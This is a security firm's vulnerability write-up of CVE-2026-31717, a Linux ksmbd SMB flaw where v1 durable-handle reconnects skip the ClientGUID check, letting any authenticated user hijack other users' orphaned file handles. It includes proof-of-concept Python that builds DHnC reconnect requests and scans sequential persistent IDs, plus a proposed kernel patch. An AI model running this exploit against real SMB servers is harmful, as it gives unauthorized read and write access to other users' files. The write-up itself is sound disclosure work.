Betrusted sfondo blu

CVE-2026-31717: hijacking SMB in the Linux kernel

An access-control bypass in the in-kernel SMB server (`ksmbd`) that lets any authenticated user steal another user’s open file handle by guessing a small integer.

A subtle logic flaw in the Linux kernel’s SMB implementation (ksmbd) exposes a powerful access-control bypass that allows authenticated users to hijack orphaned SMB durable handles belonging to other users.

This article analyzes CVE-2026-31717 from the protocol internals down to the vulnerable code path, showing how a single missing identity check turns predictable handle identifiers into a practical cross-user file access primitive.

Background: SMB, ksmbd, and the concept of “durable handles”

What is ksmbd?

For most of its history, Linux relied on the userspace Samba daemon (`smbd`) to serve files over the SMB protocol. Starting with kernel 5.15, the upstream kernel ships ksmbd, an in-kernel SMB3 server living under `fs/smb/server/`. ksmbd is loaded as `ksmbd.ko`, paired with the userspace helper `ksmbd-tools` (`ksmbd.mountd`) that handles user-database lookups and configuration parsing. The kernel module owns everything on the wire: the SMB2/3 PDU parser, authentication state machine, file/handle bookkeeping, oplocks, leases, and durable handles.

Because ksmbd runs in ring 0, every parser bug, every missing access check, every mishandled refcount is reachable from the network at TCP/445. That is the threat model.

What is a Durable Handle?

SMB is a stateful network filesystem. A client `OPENs` a file, the server returns a 16-byte `FileId` (8 bytes “persistent”, 8 bytes “volatile”), and all subsequent reads/writes/locks reference that handle. If the client’s network drops mid-operation, normally the handle is gone, the server tears it down on TCP close, releasing locks, oplocks, and the underlying VFS file.

This is bad UX on lossy links. SMB 2.1 introduced durable handles to fix it: when the client requests one (`DHnQ` create context), the server agrees to *keep the handle alive* for some grace period after a disconnect. If the client comes back within that window, it sends a `DHnC` (“Durable Handle Reconnect”) request with the persistent file ID it remembered, and the server resurrects the handle on the new TCP connection, locks, file pointer, oplock state and all. SMB3 added `DH2Q`/`DH2C`, the v2 variants, which carry an extra `CreateGuid` field.
Two flavors thus exist:

VariantRequest tagReconnect tagIdentity material in reconnect
v1DHnQDHnCPersistentFileId only
v2DH2QDH2CPersistentFileId + CreateGuid (16 random bytes)

The v2 `CreateGuid` is the security-relevant detail. It is generated by the client at original `CREATE` time, opaque to anyone watching the wire only after the fact, and the server stores it inside the file handle. When a reconnect arrives, the server compares the supplied GUID against the stored one and rejects mismatches. v1 has no such field, the only thing the client must present is the integer persistent ID.

For v1 to be safe, the server has to re-authenticate the reconnecting client out of band, by checking that the new connection’s `ClientGUID` (the per-machine identifier that every SMB client sends in `NEGOTIATE`) matches the one the original opener used. That single check is the entire load-bearing wall behind v1 durable-handle security.

Persistent file IDs and how they’re allocated

The persistent ID lives in `struct ksmbd_file::persistent_id` and is allocated out of a single global IDR (`global_ft.idr`) via `idr_alloc_cyclic`:

```c
/* fs/smb/server/vfs_cache.c:605 */
static int __open_id(struct ksmbd_file_table *ft, struct ksmbd_file *fp,
int type)
{
u64 id = 0;
int ret;
...
idr_preload(KSMBD_DEFAULT_GFP);
write_lock(&ft->lock);
ret = idr_alloc_cyclic(ft->idr, fp, 0, INT_MAX - 1, GFP_NOWAIT);
...
}
```

`idr_alloc_cyclic(..., 0, INT_MAX-1, ...)` starts at `0`, hands out monotonically increasing IDs, and only wraps once 2³¹−1 is exhausted. On a freshly booted server the first durable handle is ID `0`, the second is `1`, and so on. Persistent IDs are not random, not hashed, not salted with anything. They are sequence numbers in a 32-bit space, and the low end is densely populated.

This is fine as long as the persistent ID is just a database key, not a security token.

Discovery: reading the reconnect path end-to-end

The audit was a manual fourth-pass review of ksmbd specifically targeting durable handles, multichannel, and oplock/lease break paths.
The logic chain to look at is:

1. Client sends `SMB2 CREATE` with a `DHnC` create context
2. `parse_durable_handle_context()` extracts the persistent ID and looks up the file handle
3. `smb2_check_durable_oplock()` validates the reconnect is legitimate
4. `ksmbd_reopen_durable_fd()` rebinds the handle to the new connection

Step 3 is where identity is supposed to be enforced. Let’s read it.

`smb2_check_durable_oplock()` – Where the wall crumbles

```c
/* fs/smb/server/oplock.c:1840-1906 */
int smb2_check_durable_oplock(struct ksmbd_conn *conn,
                              struct ksmbd_share_config *share,
                              struct ksmbd_file *fp,
                              struct lease_ctx_info *lctx,
                              char *name)
{
        struct oplock_info *opinfo = opinfo_get(fp);
        int ret = 0;

        if (!opinfo)
                return 0;

        if (opinfo->is_lease == false) {
                if (lctx) {
                        pr_err("create context include lease\n");
                        ret = -EBADF;
                        goto out;
                }

                if (opinfo->level != SMB2_OPLOCK_LEVEL_BATCH) {
                        pr_err("oplock level is not equal to ...\n");
                        ret = -EBADF;
                }

                goto out;                       /* <-- LINE 1864 */ } if (memcmp(conn->ClientGUID, fp->client_guid,
                                SMB2_CLIENT_GUID_SIZE)) {
                ksmbd_debug(SMB, "Client guid of fp is not equal ...\n");
                ret = -EBADF;
                goto out;
        }

        if (!lctx) {
                ksmbd_debug(SMB, "create context does not include lease\n");
                ret = -EBADF;
                goto out;
        }

        if (memcmp(opinfo->o_lease->lease_key, lctx->lease_key,
                                SMB2_LEASE_KEY_SIZE)) { ... }

        if (!(opinfo->o_lease->state & SMB2_LEASE_HANDLE_CACHING_LE)) { ... }

        if (opinfo->o_lease->version != lctx->version) { ... }

        if (!ksmbd_inode_pending_delete(fp))
                ret = ksmbd_validate_name_reconnect(share, fp, name);
out:
        opinfo_put(opinfo);
        return ret;
}
```

Read carefully. The function is structured around `opinfo->is_lease`:

  • Lease path (`is_lease == true`): ClientGUID compared, lease key compared, lease state and version checked, and the file name on the reconnect is validated against the original `fp->filename` via `ksmbd_validate_name_reconnect()`. Five distinct checks. Fine.
  • Non-lease path (`is_lease == false`): Validates the request does not contain a lease context, validates the original oplock was BATCH, then `goto out` at line 1864. That `goto out` jumps past every remaining check, including `ClientGUID` and `ksmbd_validate_name_reconnect` which sit below the label.

For a v1 (non-lease) durable handle reconnect, the only things validated are:

  1. The request doesn’t include a lease context.
  2. The original handle was opened with batch oplock (a property of the *handle*, not the requester).

Neither of those is an identity check. The ClientGUID comparison at line 1867, structurally placed right where v2/lease logic begins, is never executed for v1 reconnects. Same for the name validation at 1901.

What about `parse_durable_handle_context()`?

The natural next question is: maybe the identity check happens before `smb2_check_durable_oplock()`, in the parser? Let’s look:

```c
/* fs/smb/server/smb2pdu.c:2777-2807, DURABLE_RECONN (v1) case */
case DURABLE_RECONN:
{
        create_durable_reconn_t *recon;

        if (dh_info->type == DURABLE_RECONN_V2 ||
            dh_info->type == DURABLE_REQ_V2) {
                err = -EINVAL;
                goto out;
        }

        if (le16_to_cpu(context->DataOffset) +
                le32_to_cpu(context->DataLength) < sizeof(create_durable_reconn_t)) { err = -EINVAL; goto out; } recon = (create_durable_reconn_t *)context; persistent_id = recon->Data.Fid.PersistentFileId;
        dh_info->fp = ksmbd_lookup_durable_fd(persistent_id);
        if (!dh_info->fp) {
                ksmbd_debug(SMB, "Failed to get durable handle state\n");
                err = -EBADF;
                goto out;
        }

        dh_info->type = dh_idx;
        dh_info->reconnected = true;
        ...
}
```

Compare with the v2 case directly above it:

```c
/* DURABLE_RECONN_V2 case */
recon_v2 = (struct create_durable_handle_reconnect_v2 *)context;
persistent_id = recon_v2->dcontext.Fid.PersistentFileId;
dh_info->fp = ksmbd_lookup_durable_fd(persistent_id);
if (!dh_info->fp) { ... }

if (memcmp(dh_info->fp->create_guid, recon_v2->dcontext.CreateGuid,
           SMB2_CREATE_GUID_SIZE)) {
        err = -EBADF;
        ksmbd_put_durable_fd(dh_info->fp);
        goto out;
}
```

v2 has a `memcmp` of the 16-byte `CreateGuid`. v1 does not and there is no such field in the wire structure to compare. The parser cannot do an identity check it has no input for.

What `ksmbd_lookup_durable_fd()` actually validates

```c
/* fs/smb/server/vfs_cache.c:525-539 */
struct ksmbd_file *ksmbd_lookup_durable_fd(unsigned long long id)
{
struct ksmbd_file *fp;

fp = __ksmbd_lookup_fd(&global_ft, id);
if (fp && (fp->conn ||
(fp->durable_scavenger_timeout &&
(fp->durable_scavenger_timeout <
jiffies_to_msecs(jiffies))))) {
ksmbd_put_durable_fd(fp);
fp = NULL;
}

return fp;
}
```

It only checks “is this handle currently orphaned?” `fp->conn == NULL` means no connection currently owns it, and the scavenger hasn’t yet reaped it. Nothing about the requester’s identity.

The bug, in one sentence

A v1 durable-handle reconnect (`DHnC`) succeeds whenever the requester can name the persistent file ID of an orphaned handle, regardless of who the requester is.

Combined with sequential, predictable persistent IDs, this is a remote, cross-user file-handle hijack reachable from any authenticated SMB session. It is CVE-2026-31717.

Why the mistake is there

This is one of those bugs where the bad code is structurally adjacent to the correct code, and looking at the function from the outside it looks defensive. The function does a lot of comparisons. The lease path is careful. But the entire non-lease branch funnels through one premature `goto out` and lands past the remaining safety checks.

Reading `git blame` on `oplock.c`, the lease-aware logic was bolted on top of an older v1-only function. The ClientGUID and name-validation checks were added for the lease case, the original v1 path was left to do “just the oplock-level check” because v1 originally didn’t even have lease contexts to think about. The resulting layout puts the v1-relevant checks physically below the v1 exit. This is the structural smell that surfaces during a careful read but won’t be caught by a sparse / smatch / coccinelle pattern unless you specifically encode “every reconnect path must compare ClientGUID” as a rule, and that rule didn’t exist.

What makes it findable in a manual audit:

  1. The function is named `smb2_check_durable_oplock`, promising “validation”.
  2. The function actually does validate identity, but only for one of the two structural branches.
  3. The `goto out` short-circuit passes over the validation that should apply to both branches.

Once you trace `smb2_check_durable_oplock` end-to-end, the gap is visible. We did this on the third pass of the ksmbd audit, after building a fairly complete model of the durable-handle state machine across `oplock.c`, `vfs_cache.c`, and `smb2pdu.c`.

The caller’s view — How the bug reaches the wire

```c
/* fs/smb/server/smb2pdu.c:3005-3025 */
if (server_conf.flags & KSMBD_GLOBAL_FLAG_DURABLE_HANDLE &&
    req->CreateContextsOffset) {
        lc = parse_lease_state(req);
        rc = parse_durable_handle_context(work, req, lc, &dh_info);
        if (rc) { ... }

        if (dh_info.reconnected == true) {
                rc = smb2_check_durable_oplock(conn, share, dh_info.fp,
                                               lc, name);
                if (rc) {
                        ksmbd_put_durable_fd(dh_info.fp);
                        goto err_out2;
                }

                rc = ksmbd_reopen_durable_fd(work, dh_info.fp);
                if (rc) { ... }

                fp = dh_info.fp;
                ...
        }
}
```

When `smb2_check_durable_oplock` returns 0 (which it does, for any v1 reconnect against any orphaned handle that happens to have batch oplock), control falls into `ksmbd_reopen_durable_fd()`, which performs the actual hijack: it sets `fp->conn = work->conn` and re-attaches all the opinfos on the inode to the new connection. From this point on, the attacker’s session owns the handle.ù

Building the exploit

What the attacker needs

  • A valid SMB account on the target. ksmbd authenticates SMB sessions via NTLM/Kerberos against `ksmbd-tools`’ user database. Any user is enough, including a deliberately low-privilege one.
  • A victim with an orphaned v1 durable handle (DHnQ + batch oplock, client disconnected without calling `SMB2 CLOSE`). Many real-world scenarios produce this naturally: laptop closing the lid, mobile Wi-Fi switching APs, NAT translating a TCP idle timeout into a half-open connection.
  • A guess at the persistent ID. Because allocation is sequential, on a fresh server “0..N” for small N is overwhelmingly likely to hit. Even on a long-running server, the cyclic IDR keeps the live set contiguous; the attacker just enumerates.

No CAP_*, no kernel-side exploit primitive, no memory corruption.

Step 1 – Get the victim to open a durable handle

In a lab, the victim is a cooperating client. In the wild, the attacker just waits for an orphaned handle (or aggressively interferes with a victim’s link to cause an orphan). The PoC’s victim opens the file with batch oplock and disconnects without sending `LOGOFF`/`DISCONNECT`:

```python
# exploits/ksmbd/ksmbd_012_durable_hijack.py
fid = victim_conn.createFile(
    victim_tid, self.filename,
    desiredAccess     = GENERIC_READ | GENERIC_WRITE,
    shareMode         = FILE_SHARE_READ | FILE_SHARE_WRITE,
    creationOption    = FILE_NON_DIRECTORY_FILE,
    creationDisposition = FILE_OVERWRITE_IF,
    oplockLevel       = SMB2_OPLOCK_LEVEL_BATCH,    # <-- key ) # DHnQ create context turns this into a durable handle. victim_conn.writeFile(victim_tid, fid, b"CONFIDENTIAL DATA - VICTIM OWNED\n") # Force-close TCP without sending SMB2 LOGOFF. ksmbd marks fp->conn = NULL
# and waits durable_timeout msecs before the scavenger reaps it.
sock = victim_conn.getSMBServer().get_socket()
sock.close()
```

After this, the kernel holds a `struct ksmbd_file` with:

  • `fp->is_durable == true`
  • `fp->conn == NULL` (orphaned)
  • `fp->persistent_id == `
  • The underlying VFS `struct file` still pinned with the victim’s credentials.

Step 2 – Build the DHnC reconnect request

The attacker authenticates with their *own* credentials, then sends an `SMB2 CREATE` carrying a single `DHnC` create context. The PoC builds the context manually because impacket’s high-level API doesn’t expose create contexts well:

```python
# Tag and payload for SMB2_CREATE_DURABLE_HANDLE_RECONNECT (v1)
TAG_DHnC = b"DHnC"

dhnc_data  = struct.pack("<Q", persistent_id)   # PersistentFileId (guess)
dhnc_data += struct.pack("<Q", 0)               # VolatileFileId (ignored on reconnect)

dhnc_context = build_create_context(TAG_DHnC, dhnc_data)
```

The `CREATE` body itself just needs the right oplock level and the DHnC context appended after the filename:

```python
create_body  = struct.pack("<H", 57)                          # StructureSize
create_body += struct.pack("<B", 0)                            # SecurityFlags
create_body += struct.pack("<B", SMB2_OPLOCK_LEVEL_BATCH)      # OplockLevel
create_body += struct.pack("<I", SMB2_IL_IMPERSONATION)        # ImpersonationLevel
create_body += struct.pack("<Q", 0)                            # SmbCreateFlags
create_body += struct.pack("<Q", 0)                            # Reserved
create_body += struct.pack("<I", GENERIC_READ | GENERIC_WRITE) # DesiredAccess
create_body += struct.pack("<I", 0)                            # FileAttributes
create_body += struct.pack("<I", FILE_SHARE_READ | FILE_SHARE_WRITE)
create_body += struct.pack("<I", FILE_OPEN)                    # CreateDisposition
create_body += struct.pack("<I", FILE_NON_DIRECTORY_FILE)
create_body += struct.pack("<H", 64 + 56)                      # NameOffset
create_body += struct.pack("<H", len(file_name_bytes))         # NameLength
create_body += struct.pack("<I", ctx_offset)                   # CreateContextsOffset
create_body += struct.pack("<I", len(dhnc_ctx))                # CreateContextsLength
```

Two details worth noting:

  • `DesiredAccess` is whatever the attacker wants. The kernel does not re-check this against the file ACL on reconnect, it inherits the victim’s already-opened `struct file`, with `f_mode` set at the victim’s original `open()`. (DAC was checked once, at the victim’s open. The reconnect path skips it because the `struct file` is treated as “already open”)
  • `NameLength`, the filename buffer can be whatever the attacker wants. `ksmbd_validate_name_reconnect()` would have caught a mismatch, but see “`smb2_check_durable_oplock()` — Where the wall crumbles” section, that function never runs on the v1 path.

Step 3 – Scan persistent IDs

```python
# exploits/ksmbd/ksmbd_012_durable_hijack.py:371
for pid in range(start_id, start_id + max_scan):
    fid = self._attempt_durable_reconnect(atk_conn, atk_tid, pid)
    if fid is not None:
        logger.info("[STEP 2] *** HIJACK SUCCESSFUL *** "
                    "Reconnected to persistent ID %d", pid)
        hijacked_fid = fid
        break
```

On a freshly-started ksmbd that has handed out a single durable handle, this loop hits at `pid = 0` or `pid = 1` (depending on whether the victim’s file was reopened internally during `OVERWRITE_IF`). The PoC scans 0..63 by default and that’s plenty for a lab; in production a larger sweep is trivial because `idr_alloc_cyclic` keeps live IDs densely packed at the bottom of the range.

The cost of a wrong guess is one `STATUS_FILE_NOT_AVAILABLE`-class error. ksmbd does not rate-limit reconnect attempts and does not log them at any non-debug verbosity. The scan is silent.

Step 4 – Use the stolen handle

After the reconnect, the attacker’s session has a fully-functional file handle. From the kernel’s view, that handle still has the victim’s `struct file` underneath, with the victim’s credentials baked into the `f_cred` at the time of the original `open()`. So:

```python
data = atk_conn.readFile(tid, fid)
print(data)   # b"CONFIDENTIAL DATA - VICTIM OWNED\n"
```

Reads succeed regardless of filesystem ACLs on the path. Writes succeed likewise (provided the victim’s original `open()` was for write, which the PoC’s chosen `GENERIC_READ | GENERIC_WRITE` request triggered).
Locks are inherited. Oplocks are reassigned. The attacker is, for all practical purposes, the victim, for the duration of the file handle.

What if the victim used a lease?

The bug is specific to the v1 non-lease path. SMB 2.1+ clients on modern Windows or Samba defaults negotiate leases, which take the `opinfo->is_lease == true` branch and do run the ClientGUID/lease-key checks.
v1 batch-oplock durable handles are not the modern default, but they are the default for:

  • SMB 2.0 clients (`Windows Vista/2008` era; still encountered on legacy systems).
  • Configurations where the server does not advertise leasing.
  • Clients that explicitly request a durable handle without a lease.
  • Any client that chooses to request `DHnQ` with batch oplock (a valid, well-supported SMB code path)

ksmbd accepts and responds to `DHnQ` requests by default. Any deployment that has not gone out of its way to disable durable handles, and that configuration is not the documented norm, has the vulnerable code path exposed.

Severity, scope, and caveats

Severity: HIGH. Cross-user data confidentiality and integrity bypass from an authenticated SMB session, with full inherit of the victim’s file-level access permissions.

Pre-conditions:

  1. ksmbd built with `KSMBD_GLOBAL_FLAG_DURABLE_HANDLE` (the upstream default) and not explicitly disabled.
  2. A victim opened the file with a v1 durable handle (DHnQ) and batch oplock. SMB clients that prefer leases will not produce a vulnerable handle.
  3. The victim disconnected without `CLOSE` and the durable scavenger has not yet reaped the handle (default timeout is ~60 seconds; the client/server can negotiate longer).

Reachability: Any TCP/445 connection that can authenticate. ksmbd’s authentication bar is “valid SMB user in `ksmbd-tools`’ user database”, which in many deployments is “guest” or a low-privilege share user.

Suggested fix

The minimal fix is to move the v1 identity checks before the `goto out` in `smb2_check_durable_oplock()`. A defensive patch:

```c
        if (opinfo->is_lease == false) {
                if (lctx) { ... }                       /* unchanged */
                if (opinfo->level != SMB2_OPLOCK_LEVEL_BATCH) { ... }

                /* ADDED: v1 durable handles must still match ClientGUID */
                if (memcmp(conn->ClientGUID, fp->client_guid,
                           SMB2_CLIENT_GUID_SIZE)) {
                        ret = -EBADF;
                        goto out;
                }

                /* ADDED: and the requested name */
                if (!ksmbd_inode_pending_delete(fp))
                        ret = ksmbd_validate_name_reconnect(share, fp,
                                                            name);
                goto out;
        }
```

The `ClientGUID` check is the load-bearing one. It binds the reconnect to the same physical SMB client (the client picks `ClientGUID` randomly at boot and includes it in every `NEGOTIATE`). Without this check, the v1 path has no identity material to validate, there is no `CreateGuid`, the persistent ID is public, the filename is attacker-controlled.

A complementary hardening is to randomize persistent IDs rather than allocating them sequentially.
Replacing the IDR with a hash of a cryptographically random 64-bit value (or simply XOR-ing the IDR slot with a per-server random secret) eliminates the guessability layer.
This is defense-in-depth, the right primary fix is still the missing identity check, but it removes the practical attack regardless of any future logic regression.

Closing thoughts

The interesting thing about this bug is its shape.
There is no arithmetic, no race, no allocator misbehavior.
There is no spectacular crash.
It is a single missing `memcmp`, one branch of an `if` whose twin branch does the right thing two lines later.
Static analysis tooling does not flag it; fuzzers will not stumble onto it because the “failure” is a successful protocol response.
It is the kind of bug that only falls out of *reading* the code with a hostile mindset.

ksmbd is a young in-kernel SMB implementation re-deriving thirty years of Samba’s accumulated experience. The protocol is enormous, the state machine is intricate, and the kernel is the worst place in the world to make an authorization mistake.
The discovery of CVE-2026-31717 highlights the evolving nature of digital threats and the importance of proactive defense. Here at Betrusted, we are engaged in continuous research activities to explore and build a more secure world, ensuring that vulnerabilities are identified and mitigated before they can be exploited.

Condividi l'articolo

Scopri come possiamo aiutarti

Troviamo insieme le soluzioni più adatte per affrontare le sfide che ogni giorno la tua impresa è chiamata ad affrontare.